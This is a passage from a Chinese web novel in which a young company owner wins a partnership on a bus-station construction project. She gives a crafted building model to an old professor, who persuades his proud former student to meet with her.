有了这轱辘,这原本显得有些笨重的模型立马灵巧起来,搬运时能节省大半的力气。 如果再仔细观察的话,还会发现其中一角轱辘边有个自行车撑脚架一样的小部件,是用来固定整个模型,防止轱辘打滑用的。 刚刚丁大勇就是在扒拉这个小机关,这样需要移动时就把撑架收起,不用时再放下来固定,省力又省心。 当初确定要制作这份礼物的时候,苏丽珍就把方方面面都考虑到了,尽量把后期保管的麻烦都降到最低,总不好让人家收礼一时爽,过后麻烦多,那就不好了。 几个孩子看着丁大勇毫不费力地推着模型往前走,齐齐露出歆羡的眼神。 有个胆大的孩子还主动跟苏丽珍道:“姐姐,你们要去秦爷爷家是吗?我帮你们喊秦爷爷,能让我摸摸这个模型吗?” 其他孩子也纷纷凑过来:“我也能帮你喊!哥哥、姐姐,爷爷,也叫我摸一下吧!” 面对着孩子们渴望的小眼神,丁大勇和薛老爷子立马败下阵来,也眼巴巴地看向苏丽珍,把苏丽珍都给看笑了。 今天上秦家拜访,除了这个模型,苏丽珍还另外准备了两瓶好酒和一箱自家公司生产的卤味,拿东西的时候,苏振东顺手给她塞了一把糖。 她想了想,从口袋里摸出一把糖,先分给了几个孩子,然后才道:“这是我们准备送给别人的礼物,所以我只能答应让你们隔着玻璃罩摸摸,而且还要保证不弄脏玻璃,可以吗?” “可以可以,我们能做到,谢谢姐姐!” “也谢谢哥哥和爷爷!” 孩子们嘴甜得很,不但得了允许还拿到了糖,一个个开心的不行! 于此同时,秦家。 秦老太太扎着围裙,拿着擀面杖,一把推开秦老院长的书房,对着戴着老花镜坐在书桌前正认真翻看一组建筑效果图的人板着脸道:“又看、又看,就那几张破图天天看,你还能把它看成真了不成?” “吃完早饭我就让你去‘珍珍’熟食店买卤菜和香肠,孩子们中午过来吃饭,你看看这都几点了?” 秦老院长早在老伴推门的瞬间就动作麻利地收起了桌上的图册,跟着把老花镜一收,一边去取衣架上的棉袄穿上、一边朝对方露出讨好的笑容:“老伴儿别生气,我这就去,这就去啊!” 老太太看他这样,面色总算缓和了不少,又叮嘱:“也别差这一会儿了,把棉袄扣子扣好了,外头冷!” 秦老院长响亮的“哎”了一声,看老伴儿手里还拿着擀面杖,忙又好声好量道:“饺子皮等我回来擀,你肩膀和手腕不好,别回头又犯病。” 年轻的时候,他一心扑在事业上,把整个家都丢给妻子。妻子既要操心家里大事小情,还要照料大人孩子,生生累出一身病,他对妻子是有愧的。 秦老太太再绷不住脸,但嘴上仍不饶道:“等你回来,黄花菜都凉了!” 秦老院长马上道:“凉点好啊,凉了爽口!你看这大冬天还有吃冻梨、雪糕的呢!” 秦老太太“噗嗤”乐出了声,忍不住白了他一眼:“越老越没个正行!” 老两口正说笑间,忽听外头一阵孩子的喧哗声,秦老太太忍不住t踮脚朝外张望,可惜玻璃上结了一层冰霜,啥也看不见:“是不是小宝他们来了?” 秦老院长看了看手表:“不能啊,这还不到十点,老大他们怎么也得下班才能过来。估计是楼里孩子们聚堆打闹呢。” “我先出去看看,要是没啥事,我就直接买卤菜去了,争取早去早回!” 秦老院长推门出去了,这时秦老太太忽然想起来今天星期六,周末的“珍珍”家卤菜卖的特别快,她忘了叮嘱老伴儿要是在熟食店买不到,就去一趟最近的百货商店,买那种袋装的。 老太太赶忙小跑出去,直奔单元门口,想着喊上一嗓子,交代一声,省得老伴儿待会再跑一趟,结果她刚到门口,就差点撞上一堵“墙”。 老太太愣了一下,很快反应过来是自家老伴儿,便伸手拍了对方后背一巴掌:“你个老头子站这干啥!” 谁料她话音刚落,就见原本还像木头桩子一样的老伴儿突然“嗷”的一嗓子直直冲了出去,口中还念念有词:“这哪儿来的!快叫我看看、叫我看看!” 秦老太太:“……” 老头子跑开了,挡着她的视野也清晰了,老太太探头一看,也是先吃了一惊,之后便露出了然的神色。 难怪老头子像看了什么金山银山,不,比看见金山银行还激动,原来是看见了这东西。 几组国外的建筑图片都能让她家老伴儿见天看得如痴如醉的,这见着几乎跟实物一样的仿制模型,可不得叫他连姓啥都忘了! 别说,走得近了,越发能看出这东西做的精细,别说他家老头子,就她一个外行都觉得稀罕。 老太太心里叹了口气,跟这个男人过了一辈子,真是闭着眼睛都知道他想的是啥。 这会儿别说叫他去买卤菜回来给孙子孙女们吃,就是他老秦家的老祖宗从地里蹦出来,那也得往后排了。 老太太摇了摇头,正打算解了围裙、回去换身衣裳,自己去买卤菜,就听身后有女孩子清甜的声音:“您是秦奶奶吧?” 秦老太太回头,见眼前站着个水灵灵、皮肤极白的年轻姑娘,不禁诧异道:“闺女,你找我?” “秦奶奶,您好。” 苏丽珍先是笑着做了个自我介绍,然后指了指身后陪着秦老院长一起围观模型的丁大勇和薛老爷子道:“秦奶奶,我们是一起的,今天专程来拜访秦老。” 秦老太太闻言越发惊讶了,她没想到带着这精美模型的一行人原来是来找自家老伴儿的,她下意识看了眼那边的秦老院长,只见老头子这会儿早没了往日的沉稳,正围着那模型手舞足蹈的转圈圈,嘴里还不住声地念叨着“啧啧,这谁做的啊,好东西啊!”“哎呀,这栋洋楼的位置有点偏呐,应该往这边挪一点……” 那几个孩子都比他稳当! 老太太抽了抽嘴角,当没看见,只偏头对苏丽珍热情道:“闺女快跟我进屋,咱可别学他们在外面傻站着受冻。” 苏丽珍响亮地“哎”了一声,说话就抱起脚边一个纸箱,要跟着秦老太太一块儿进屋。 秦老太太是过来人,哪里不知道这是对方带过来的礼品,赶忙把人拦住:“小苏啊,你第一次上门,对咱们还不了解,咱家可不兴这个。” 苏丽珍笑道:“秦奶奶,我们家还有一个食品公司,专门生产各种熏卤熟食,我今天第一次上门,就顺手带了些过来。” 她说着,把纸箱盖掀开,露出里面满满登登的各式卤味。 “不怕您笑话,我总觉得我家的这些产品还挺拿得出手的,所以不管去谁家作客都会带一些,只盼着您别觉得我是爱显摆就好。” 秦老太太一见那熟悉的卤味包装,整个人立马惊了一下。 这不是“珍珍”卤味嘛? 就刚刚她还打算去买一些回来给孩子们添菜呢! 现在还有哪个凤城本地人会不认识这个牌子啊! 这么一想,她立时记起报纸上登过,“珍珍”食品公司的老总是位年轻姑娘,印象里好像也姓苏,再看眼前这位小苏…… 嚯,老太太瞪大了眼睛,没想到这闺女这么大的来头! 秦老太太一方面觉得苏丽珍年轻有为,很不一般,又喜欢她说话中听,让人心里受用,因此对苏丽珍印象很好。 见她诚心要送,便也不扭捏了,当即痛快道:“那我就不客气了。我老太婆也跟小苏你说句脸皮厚的,我们家里人都爱吃你家的卤味,我这刚才还准备打发老头子去买一些回来,中午给几个孙辈儿解解馋!可喜就把你等来了,我们这下可有口福了!” 一老一小相谈甚欢,秦老太太把苏丽珍迎进屋后,又是给她冲麦乳精,又是洗苹果,十分热情。 苏丽珍跟老太太闲话了几句家常后,也没拐弯抹角,直接就把自己的来意说了一遍。 “秦奶奶,我们对自己的定位非常清晰,像长途客运站这样的大项目,第四建筑公司必然是占主导地位的,我们公司即使加入进来也是做一些零散打杂的小活儿,主要是为了配合第四建筑早日完工。” “我不否认,我们确实是想借着参与这个项目扬一扬名。但更重要的,还是想把握住这次难得的机会,跟第四建筑公司好好学习一下。” 第190章 “我们诚意是很足的,整个公司也为此准备了很长时间,如果林老总是出于对我们的技术水平不满,那我们没什么可说的。但仅仅是因为对我们这些负责人主观上有误解,就直接把我们公司定性为徒有其表的花架子,那我是不服的。” “所以秦奶奶,我们这次来就是想请秦老出面,帮我们约一下这位林老总。我希望大家能坐下来开诚布公地谈一谈,如果有什么误会就直接说开,就算最后我们真的跟工程无缘,也好过平白在对方那里落下一个不好的印象,毕竟我们是真的很向往第四建筑公司的。” “您能理解我吗?” 苏丽珍的话很诚恳,也很实在,秦老太太听完立马拍板答应下来。 “这个东方啊,又开始犯轴了!你放心,这事不用问老头子,我就能做主答应你。回头我就让老秦把林东方叫过来,好好说说他,怎么能干这么不讲理的事呢!” 说着,她又安抚地拍了拍苏丽珍的手:“旁的事我不懂,但要单是你这个事,其实说开了就好。” “东方这人就是拧了点,性子不坏的,加上那几年被人害过,确实吃了不少苦头,这才落下个偏激的毛病,不一定是真心跟你们作对。” 苏丽珍微笑不语,再是吃苦也不是无故苛责旁人的理由。 不过人有亲疏,秦老太太肯答应帮忙牵线让他们见一见这位林老总,那她这趟来的目的就达成了,别的自然无所谓。 一老一少又说了会话,这时外头的动静越发大了起来。两人起身一看,原来这么一会儿的工夫,单元门前已经聚拢了不少人围观苏丽珍他们送来的模型。 人一多,动静自然就大了。 外头,薛老爷子也赶紧提醒秦老院长,让他先把模型搬进去。秦老院长这时才仿若如梦初醒,忙不迭地就和丁大勇一起把模型搬进了秦家。 进屋的时候,苏丽珍就听秦老院长埋怨薛老爷子:“你这个老薛啊,你说你怎么不早点告诉我这模型是送我的呢?在外面站这么半天,都叫他们白看去了!” 苏丽珍:“……” 秦老太太直接白了老头子一眼,一巴掌把人扒拉一边,热情地招呼薛老爷子和丁大勇坐下休息,又催促秦老院长去泡茶。 薛老爷子看了眼苏丽珍,得到后者一个微不可见的点头暗示后,心里这才松了一口气,总算有闲心和秦老院长闲话几句。 只可惜秦老院长现在整副心神都扑在那建筑模型上,别说待客聊天了,连去泡茶都糊里糊涂用的凉开水,把秦老太太气得够呛。 苏丽珍这边,既然目的已经达到,干脆也没多呆,婉拒了秦老太太留饭的邀请后便离开了。 秦老太太直到把客人送上车,目送那辆大汽车开出老远才回返。 一进屋,见自家老头子像只壁虎似的,紧紧巴在模型四周的玻璃防尘罩上,那姿势丑的简直没眼看,好不容易压下去的火气又窜上来了! “行了,别看了!你现在就去给小林打电话,让他下午或者明天什么时候有空就过来一趟,趁早把事情解决了!” 秦老院长被老伴儿吼得一愣,艰难地把目光从模型上收回来,t一脸莫名其妙道:“为啥要给东方打电话?解决什么事啊?” 秦老太太一看他那愣眉愣眼的样子,就知道这人果然又犯病了,一碰着建筑设计相关的东西就犯迷糊,十有八九是迷糊劲儿上来,把人家的话都当耳旁风了。 这可真是的,东西你倒是收得痛快,人家送东西的缘由你是只字不提,这成啥人了! 事实上,老太太真是冤枉秦老院长了,虽说刚刚薛老爷子和丁大勇陪着他站了许久,但是两人并没有主动提起这次来的目的。 主要是他们看出秦老院长实在太喜欢这个模型了,虽说当初选择送这份礼物就是为了争取给对方留一个好印象,但是看秦老院长那近乎痴迷的样子,他们反而不好意思开口了。 尤其同样作为从业者和爱好者的两人,都对秦老院长的反应深有感触。别看这模型是他们领着人做出来的,可心里的喜欢和不舍一点都不亚于秦老院长! 所以在这种心情下,他们看秦老院长自然多了一种惺惺相惜之感,当时大家讨论的也都是建筑相关,那种氛围下,总觉得开口提这事特别破坏气氛。 好在有苏丽珍这边开了口,要不然这事说不定还要再往后推一、两个来回呢。 这边秦老太太把苏丽珍他们的来意说了一遍,秦老院长越听眉头皱得越紧。 “这事我之前也听说了,东方他们这两年任务很重,有这么一家公司能从旁配合,又不揽功、抢风头其实是好事。只是后来这件事不了了之,我隐约听说是东方反对,我当时还以为是这家小公司不达标,所以才被刷下来。” “现在看来八成还是东方个人的原因。其实我倒是听说过这家公司的事,好多同志都说他们公司做事认真,很有责任心,尤其是最近搞得一个三年免费维护项目,看得出领导人是个有魄力、也很有想法的人。” “这事如果能成,其实对双方都有好处,按理,东方不该拒绝的。当然,咱们也不能只听一面之词,回头我就给东方打电话,我跟他聊一聊。” 顿了顿,秦老院长到底叹了口气:“如果这事是真的,就算不是为了贪图这件礼物,我也必须要跟东方认真谈谈了。” 秦老太太点了点头,她明白自家老伴儿的意思,苏丽珍他们送的模型确实很珍贵,但是再珍贵也比不上他们家跟林东方的情谊。 这事看着不大,却恰恰反应出了小林的心结。老伴儿想找小林谈谈,最主要还是不想对方总是被那些负面情绪左右,动不动就钻牛角尖。要知道以小林现在的地位、级别,如果心态出了问题,是很容易犯错的。 小林这一路坚持下来不容易,他们不想看到他再出岔子了。 秦老院长是个执行力很强的人,中午饭都没吃就给林东方打了个电话,让他今、明两天抽出点时间过来一起吃顿饭。 林东方更是个急性子,一听老师叫他,当即推掉手边一堆事儿,当天晚上就上门了,还贴心地提前准备了秦老院长喜欢的酒菜。 秦老院长也没着急,先把学生叫到自己书房里显摆起他新得的“宝贝”。 看着做工这么精美的建筑模型,林东方也是惊喜非常,当即也顾不上跟老师说话,只一门心思围着这“宝贝”转悠。 结果他是越看越喜欢,心里更是一阵刺挠,忙不迭跟秦老院长打听这模型的出处,惦记着自己也弄一个,花多少钱都愿意。 奈何刨根问底好半天,老师就是笑而不答,林东方这下咂摸出味道了。 这模型的来历怕是有点特殊。 再想想老师突然打电话叫自己过来,怕不是就为了这做出模型的人? 他心里有了数,这回也不急着问了,反而沉下心重新欣赏起眼前的模型。 直到秦老太太来喊他们吃饭,两人才舍得移步。 饭桌上,秦老院长亲自给林东方倒酒,秦老太太在一旁也不停给他夹菜,林东方心里熨帖,胃口都比平常好了几分。 酒过三巡,秦老院长又问起林东方年后的工作安排,果然跟他之前了解的差不多,开年后林东方的任务非常重。 秦老院长顺势问起他要不要考虑找人合作,把一些不太要紧的项目转给别的公司。 这时候,林东方也没多想,只苦笑一声:“老师,您也不是不知道,其他几个公司整天乌眼鸡似的盯着我,恨不得天天跟我们打擂台。除非我把整个项目都让出去,否则那些小零小碎的活儿他们才看不上。要是硬来,那可真要结仇了。” 秦老院长点头,这回不准备再迂回了,直接开门见山:“那你为什么不愿意接受‘筑梦’公司呢?” “据我了解,这家公司虽然资历浅了点,但这两年也做出了不少成绩,而且难得的是工程质量都非常高,市场上反响也很好。” “就比如开年的长途客运站项目,我听说他们很乐意给你打下手,配合你们提早完工,上面之前也是有些意动的,只是你为什么不愿意呢?” 林东方的脸色在突然听到老师提起“筑梦”公司的时候就有点不太好,但对面到底是曾经在他最艰难的时候一力帮助过他的恩人,所以他很快调整好情绪,轻描淡写地解释道:“那家公司不行,做事风格不妥,不是很靠谱。” 秦老院长听了这话,眼睛微眯:“哦,这么说你已经接触考察过他们了?” 林东方拿着酒杯的手微顿,含糊道:“差不多吧,反正他们不行。” “我看是你看他们不行!” 秦老院长忽然把手里的酒杯重重放在桌上,酒水溅出,直接打湿了桌面。 秦老太太起身默默离开了座位。 饭桌上这会儿只剩下师生二人。 秦老院长沉着脸道:“人家公司开业至今也完工了大大小小几十个项目,没有一例出现过工程问题,所有合作过的甲方都是好评。” “我也给你们第四公司的人联系过,你们第四公司从来没跟‘筑梦’公司接触过。” “既然人家公司风评不错,而你也从没接触过他们,那你凭什么单方面就认定他们不行?” 他不可能只听信苏丽珍一面之词,何况人心本来就是偏的,在他心里,始终不愿意相信自己当初冒着巨大风险保护的人有一天也会变得这样蛮横自大。 所以中午给林东方打完电话后,剩下的半天时间里他一直没闲着,分别给几个信得过的老友、老同事打电话,一方面是了解“筑梦”公司的情况;另一方面就是打听第四建筑公司和“筑梦”公司是不是有过什么过节。 在了解了大致情况后,他心里其实已经有九分相信苏丽珍的话,剩下那一分是最后的一点念想。 结果就在刚刚,林东方的态度无疑让他最后一点念想也破灭了。 他再次重重拍了下桌子,几乎是恨铁不成钢地骂道:“你自己也是从名声不显的小人物走过来的,怎么,如今你强大了、厉害了,你就能随心所欲地去决定那些比你弱小的人死活了,是吧?” 林东方嘴角抿得紧紧的,坐在那里一声不吭。 秦老院长气道:“怎么,你还不服气?我哪句话说的不对?明明省里都乐见其成的事,到了你这里反而成了阻拦!” “你凭什么阻拦?就凭你这几年工程做的好,大项目完成的多?这样骄横自大,不把任何人放在眼里,我就问你,等有一天省里的大项目都做得差不多了,你还拿什么骄傲?” 见林东方抬头看向自己,他冷笑一声:“你不会以为,上面年年都会有长途客运站这样的项目吧?或者你自己掏钱盖?” 林东方梗着的脖子稍微动了动,能做到第四建筑公司的老总,他也不是笨人,几乎老师的话一出口,他立马反应过来自己之前的做法确实不妥,不该公然反对上面的一些建议,本来也不涉及自家公司多少利益,这样强硬拒绝,确实容易得罪人。 当然,他只是反省自己之前的一些做法不够圆滑,可不代表他认为自己拒绝和那个“筑梦”合作有什么错。 他生平最讨厌这种干了点事就恨不得昭告天下的人,上蹿下跳的,说不定那点名声都是四处撒好处换来的,他才不屑与这种人为伍。 不过老师一心为他这一点,他是清楚的,所以还是痛快地认了错t:“老师,这件事是我没处理好,对不起,让您操心了。” 顿了顿,到底有些不服气,林东方话音一转:“不过老师,我要是没猜错的话,您书房里那件模型就是这个‘筑梦’公司送的吧?” 所以老师今天来找他喝酒大概也是为了这个“筑梦”说和。 看吧,他就说,这种人真本事没多少,就喜欢搞些歪门邪道,所以他才看不上。 秦老院长看见学生眼中一闪而逝的轻视,有些无奈道:“是他们送来的不假,所以你认为我就是因为这么一件模型,才特地给他们作说客的?” 林东方自然不能承认,但是他才要开口,就被秦老院长摆手拦住了。 “我啊,也不想再跟你讲那些大道理了。我秦玉堂虽然不是什么大好人,可也不至于因为一件模型就把自己的学生卖掉。”秦老院长淡淡道。 “我之所以答应对方找你谈谈,只有一个目的,就是希望你能解开心结,真正放下过去,而不是一有点风吹草动,就像变了个人似的。” 听到“心结”两个字,林东方面色一变。 秦老院长却看也不看他,自顾自道:“你可以私下反感讨厌‘筑梦’公司,但是这种情绪绝对不能带入到工作里。换句话说,我没强迫你必须与他们合作,但是你不予合作的理由必须是基于一个令人信服的理由。” “你是第四公司的老总,但第四公司也不是你的一言堂。你扪心自问,你拒绝与他们共事的理由站得住脚吗?是你这个当初被我们这些老家伙看好的人该干的事吗?” “喝完这杯酒,你就回去吧。”老院长说着,端起面前的酒杯,把里面不多的酒水一饮而尽。 “东方,既然你叫我一声老师,我自然是盼着你好的,所以我还是希望你能好好想一想。” “如今的你所作所为,跟当时那些无端诋毁你、磋磨你的人,本质上有什么不同吗?” 苏丽珍接到秦老院长的电话是在三天后。 电话里,秦老院长告诉她,林东方同意跟他们见一面。 如果这次见面,苏丽珍他们代表的“筑梦”公司能展现出自己的实力,那林东方将会改变主意,答应他们加入长途客运站项目。《 》 190-200 第191章 会面的地点定在市区一家国营饭店,时间在第二天中午。 这次会面,秦老院长就不过来了。 苏丽珍猜测为了说服林东方,老人家应该也费了不少力气,这会儿不出面,大约也是不想对自己在意的学生逼迫太过,不小心起了反效果。 所以苏丽珍对这个结果接受良好,甚至十分感激老院长的贴心。 会面当天,苏丽珍这边只带了丁大勇。 之所以没带薛老爷子,是因为薛老爷子跟林东方是认识的,这一次虽然成功把对方约出来了,但能得到什么结果还是个未知。苏丽珍一方面不希望老爷子跟着去看人脸色;另一反面也怕如果场面不好,哪一方说了过激的话,不好收场。 反正她和师兄跟对方完全是陌生人,就算出真吵起来也牵连不到别人,至少不会比如今的局面更差了。 当然,林东方怎么说也是有身份的场面人,她估计对方至多摆着个臭脸,还不至于会吵不起来。 跟苏丽珍预计的一样,会面当天,她们踩着点到了饭店,林东方正好跟他们前后脚过来,两边算是一起进的定好的饭店包间。 大概是真的不喜欢他们,林东方从进屋开始就拉着个脸,三人几乎刚一落座,他就硬邦邦地甩了句:“我时间有限,把你们公司的资料都拿出来吧。” 得,人家甚至都懒得听他们自我介绍。 这个态度让原本犹豫着要不要先点几个菜、吃点东西的丁大勇瞬间没了说话的欲/望,他心里不禁暗自佩服小师妹料事如神,干脆也不再废话,直接将自己带来的资料递了过去,态度有礼但疏离地说道:“林总,这是介绍我们公司基本情况的文件,还有公司自成立以来接手的所有工程项目资料,请您过目。” 林东方看着对方从一个大皮箱子里取出来厚厚的几摞资料,忍不住嘴角微抽。 他怀疑对方是故意的! 大概是看出他不愿意多呆,所以才故意弄来这么多资料。瞧这一摞一摞的,这得让他看到猴年马月去? 不过他瞥了眼面前这两个小年轻,这俩人岁数加一起可能都没他年纪大,这样的小毛孩最喜欢逞能、耍小聪明了。 正好,他今天就要好好搓搓他们的锐气。 林东方一声不吭地开始翻看那些文件,一开始无论是眼神还是姿态都非常随意,只是翻着翻着,他的眼神开始逐渐认真起来,手上翻页的动作也越来越慢。 尤其是翻到室内装修这部分,看到“筑梦”公司将这一类项目单独划出来,然后针对这一块市场进行了十分专业的分析调研,并且还特地在公司里成立了一个专门处理这类工程的装修工程部,他也从最初的嗤之以鼻到有所触动,直至陷入深思。 原本在他看来,实打实的盖房子、起高楼才叫做搞建筑,那些室内的装修装饰连工程都算不上,通通都是小活计,只要找几个人就能应付过去。 可是看着“筑梦”整合的这些资料,以及诸多顾客反馈的结果,他忽然意识到这些原本在他眼里都称不上是工程的小活儿,其实非常有发展前景。 林东方的目光不由长久地停留在这些资料上,说实话,这跟他之前设想的有点不太一样。 他本来是存了心思想找出对方的马脚,好揭穿所谓的上报纸的“明星”公司的真面目。 只是看着手里的资料,它们有理有据,数据详实,而且充满了前瞻性,在包括他这个业内人都没注意的时候,他们已经提前锁定了商机,瞄准目标,比别人先一步投入行业,抢占先机。 此时此刻,就算是对对方心有反感的他,也很难违心地说这是一家没什么真本事的草包公司。 看来这个“筑梦”也不是光会刷小聪明,能力上还是有一点的。 而随着林东方看资料的时间一分一秒过去,苏丽珍和丁大勇也敏锐地察觉到对方身上那股子反感轻视的感觉在慢慢消退。 苏丽珍不着痕迹地瞥了眼林东方的神色,心里觉得时间差不多了,便掏出随身携带的纸笔,迅速写下一行字拿给丁大勇,叫他先去外头打包点饭菜,顺便再找人泡一壶好茶送进来。 丁大勇动作很快,出去没几分钟就拎着一壶泡好的茶水进来了。 苏丽珍接过茶壶,给林东方倒了一杯茶,轻轻放到对方手边,说道:“林总,屋子里干燥,先喝一杯茶吧。” 林东方的注意力从手中的文件转移到眼前的小姑娘身上,他依然绷着脸,什么也没说,不过却拿起了面前的茶杯抿了一口。 “呦,茶叶不错啊!”不冷不热地夸了这么一句,然后他抬眼睨着苏丽珍道:“我还是第一次在国营饭店里喝到这种好茶,倒是让你们费心了。” 与私人饭店不一样,国营饭店腰杆子硬,别说给你上茶水,普通的白开水人家也不伺候,想喝水就只能自己想办法。 今天这茶水也是他们自备的好茶叶,原本是想着今天为工作的事而来,不好喝酒,那就备一些好茶,也算尽心。哪想林东方人虽来了,但是这下马威也给得足足的,直到现在才派上用场。 苏丽珍当做没有听出对方的阴阳怪气,只气定神闲道:“林总客气了,我们‘筑梦’公司上下讲究以诚待人,凡事尽全力,听天命。事成自然好,不成是缘分不够,我们一向看得开。” 林东方眯起眼睛:“想不到苏总不但笔杆子玩得溜,口才也是了得。那我今天倒要问一句,既然你说做事尽全力、听天命,那你们巴巴地找上我老师,让他老人家出面找我,这到底算你们看得开还是看不开啊?” 苏丽珍淡淡一笑:“我以为我们看不看得开的问题可以往后推,至少要先确定我们是不是尽全力之后再说。” 她看着林东方,表情真诚,“可惜我们是不是尽全力却不是由我们自己决定,我认为这还要取决于林总您的想法,您认为呢?” 这话听得林东方牙疼,合着只要他一天不同意跟他们合作,他们就是“没尽全力”的程度,所以之后会继续“尽全力”,也就是继续下功夫来说服t他,直到他吐口为止。 搞了半天,她那套“尽人事、听天命”的理论还在他身上闭环了! 这小丫头,怪不得能当老总、上报纸,确实厉害。 林东方心里有点生气,可不知道为什么还有那么一点隐秘的高兴,好像有种棋逢对手的痛快。 不过他是不会承认的! 林东方将喝空了的茶杯放回桌上,苏丽珍立即拎起茶壶给他重新倒了一杯。 林东方这次却没有碰杯子,反而目光锐利地盯着苏丽珍,不轻不重地说道:“有没有人告诉过你,不要把算盘珠子扒拉到别人头上,尤其是对你同行的前辈,这是很没礼貌的行为?” 苏丽珍也不闪不避地直直迎向对方的目光,甚至唇角微勾,大大方方道:“别人不好说,但我知道,对于林总您这样真正的业内精英来说,也许更欣赏会扒拉算盘珠子的后辈?” 林东方板着的脸差点裂开,这丫头脸皮可真厚! 他重重地哼了一声,端起桌上的茶杯喝了一口,才冷着脸对两人道:“明天上午八点,带上你们公司这两年所有对公项目的资料来第四建筑公司。” 撂下这一句,他从座位上起身,假装没看见两人脸上的喜色,横了眼苏丽珍,最后道:“记住不准迟到,我讨厌不守时的人!” 苏丽珍忙郑重道:“谢谢林总给我们这次机会。您放心,我们明天一定准时到达。” 说罢,她又语气一转,态度亲和自然道:“林总,今天耽误您不少时间,我让师哥打包了点饭菜,您带回单位垫一垫吧。” 林东方意味不明地看了她一眼,冷哼一声:“滑头!” 苏丽珍笑眯眯点头:“多谢林前辈夸奖。” 林东方一噎,想板起脸又有点板不下去,刚好这时,丁大勇打包的饭菜做好了,服务员给送了进来。 有外人在,林东方什么也没说,只是在接过丁大勇递过来的饭盒时,到底又掏出几张钱票放在桌上。 “你小姑娘家家的,我还轮不到让你花钱!” 这回连丁大勇都从这梆硬的语气中听出一丝软和的味道。 苏丽珍依旧笑眯眯,甚至都不推让一下:“那我就不跟前辈客气了,有剩的,就当前辈请我们的好了。” 林东方瞥她一眼,一句话没说,拿起饭盒就走了。 他一走,丁大勇立即瘫坐在椅子上,一边擦拭额头上的汗水,一边感叹道:“珍珍,这位林总气势好强啊!他刚进来那会儿,我真是话都不敢多说。” 苏丽珍先给他倒了杯茶,笑着道:“怎么说也是那么大单位的老总,肯定不是普通人能比的。不过师哥,我对你有信心,不远的将来,你肯定不比他差。” 丁大勇被师妹说的不好意思,连忙问起最关心的问题道:“珍珍,你看这次应该差不多了吧?” 苏丽珍点头:“胜算很大。” 丁大勇又一次激动起来,一口气把杯子里的茶喝干了:“师妹,我去要点饭菜,咱们吃完饭就赶紧回去给薛老师报喜。” 苏丽珍笑着点头答应。 事实上,从刚刚林东方的反应看,这次如果他们表现得当,说不定能拦下更多工程。 她之前可是仔细留意了,林东方很关注他们公司装修这部分的业务。虽说现在的装修工程简单,但是细枝末节的东西加起来也不少。何况未来的长途客运站本身还包含了商场、旅馆、餐厅等多个配套服务设施,不说把这一整套系统的内部装修装饰都拿下来,就算只拿下一半,也足够他们“筑梦”未来一年的活计了。 苏丽珍心里有了盘算,打算明天跟第四建筑公司接触的时候,重点往装修这方面带一带。 这个想法,她打算先不跟师兄和薛老爷子说,免得两人心里总是惦记,万一明天跟林东方见面的时候被对方看出来就不好了。 虽说今天跟林东方见这一面效果还成,但是到底接触不多,对方又是一个比较自我的人,如果对方因此认定他们不实在,有得陇望蜀的念头就不好了。 毕竟他们之前一直声称要全力配合第四建筑,具体做什么都听对方指挥,什么零散打杂的工作都不在话下。现在一切还没落实,可不能露出他们想争取更多项目的意思。 一月份的最后一天,以苏丽珍和丁大勇为代表的“筑梦”公司正式与省里签订了一份工程协议,将全力配合第四建筑公司完成长途客运站的建筑工程。 在工程期间,“筑梦”的具体工作内容将由第四建筑指定安排,同时受第四建筑公司监管。 协议有点不太公平,但无论是苏丽珍还是丁大勇都很满意。 先不说吃肉喝汤的问题,起码他们现在有“上桌”的资格了,这就是进步。 当然,苏丽珍也不是没给自家争取到好处。她已经从秦老院长那儿透出话来,林东方虽然面冷嘴硬,但在了解到他们确实有一定实力后,也有了想把至少一部分的长途客运站配套设施装修工程交给他们。 具体交多少,现在没定论,到时候还要看开年正式动工后他们的具体表现。 如果确定交由他们负责,到时候第四建筑公司会出面,就装修内容,帮他们跟省里再签订单独的补充协议。 这个协议如果能成功签下,那他们“筑梦”的身价肯定还能往上提一提。 苏丽珍对此很有信心,不过事情没定下,除了公司几个高层,其他人是不知情的。 眼下,能拿下这个大合同,大家内心兴奋已经溢于言表。 别说丁大勇,苏丽珍唇角的笑容也没断过。 等两人从政府办公室出来,丁大勇还忍不住把手里的合同一看再看。 苏丽珍正跟他商量,还有十天就过年了,今年公司因为之前的工程上门维护服务所以放假晚,大家都比较辛苦,正好借着眼下拿下客运站大项目的喜讯,他们也开一个庆祝年会,顺便把过年福利提前发了,让大家都高兴高兴。 丁大勇自然不会反对。 两人正说到兴头上,忽听身后有人咳嗽了一声,苏丽珍回头,却是林东方不知道什么时候走到了两人身后。 第192章 苏丽珍主动打招呼:“林总也要回去了吗?要不要跟我们一起走。” 她其实只是客套话,不说像林东方这个级别,出来办事是可以配车的,就算恰巧今天没有,以这人的骄傲,也不会来蹭他们的车。 果然,林东方想也不想就回绝道:“不用了,我单位有车。” 苏丽珍点了点头,然后就不说话了。 林东方一时嘴快,回绝完了又有些后悔,觉得自己语气似乎有点生硬,直接把天聊死了,搞得接下来的话更不知道怎么开口,顿时有些尴尬,只能原地跟苏丽珍大眼瞪小眼。 最后发现这小姑娘比他还沉得住气,到底抹不开,跟两人打了声招呼,就逃也似的匆匆走了。 丁大勇有些疑惑:“林总是有什么话想跟咱们说?我怎么感觉他怪怪的。” 是他错觉吗?怎么觉得刚刚林总离开的背影透着那么一点狼狈呢? 苏丽珍听完“噗嗤”一乐。 她猜到对方是为什么来的。 之前秦老院长就曾委婉地告诉她,对于她送的建筑模型,林东方也特别喜欢。 当初送礼物的时候,苏丽珍就曾说过,这模型是她发动包括薛老爷子和丁大勇在内,好几个公司里的大师傅一起动手做出来的。 别看是造这种中看不中用的“假房子”,但是这模型做起来的难度却一点也不小。一开始因为掌握不好规律,他们可没少走弯路,不提时间和人力成本,光前期耗费的材料就花了不少钱。 都是懂行的人,有些话压根不用挑明,无论秦老院长,还是林东方肯定都明白这模型得来不易。 所以苏丽珍猜,刚刚林东方应该是想找她打听模型的事。以对方的为人,倒也不见得是平白讨要,大约是想着支付报酬请她安排人帮着再造一个。 苏丽珍想,按照林东方的性子,大概是觉得就算他会付钱,但这样直白地去找一个自己曾经无端为难过的人帮忙,终究难以启齿,所以最后才没开得了这个口。 苏丽珍想到这里,难得露出几分玩味。 她其实早在从秦老院长那里得知这件事后,就立马安排人又赶制了一个模型,和送给秦老的差不多大,只是设计不同。 所以不管今天林东方开不开这个口,她最终都会把这份礼物奉上。 毕竟不提他们如今跟第四建筑t公司的合作关系,就说以林东方这个人在行业内的地位,能有机会拉拢对方,怎么看都是件好事。 不过即便这是一份必须送出去的礼物,心情多少还是不同的。 比如刚刚,林东方最终没有直接开口跟他们提这件事,就让苏丽珍心情很好。 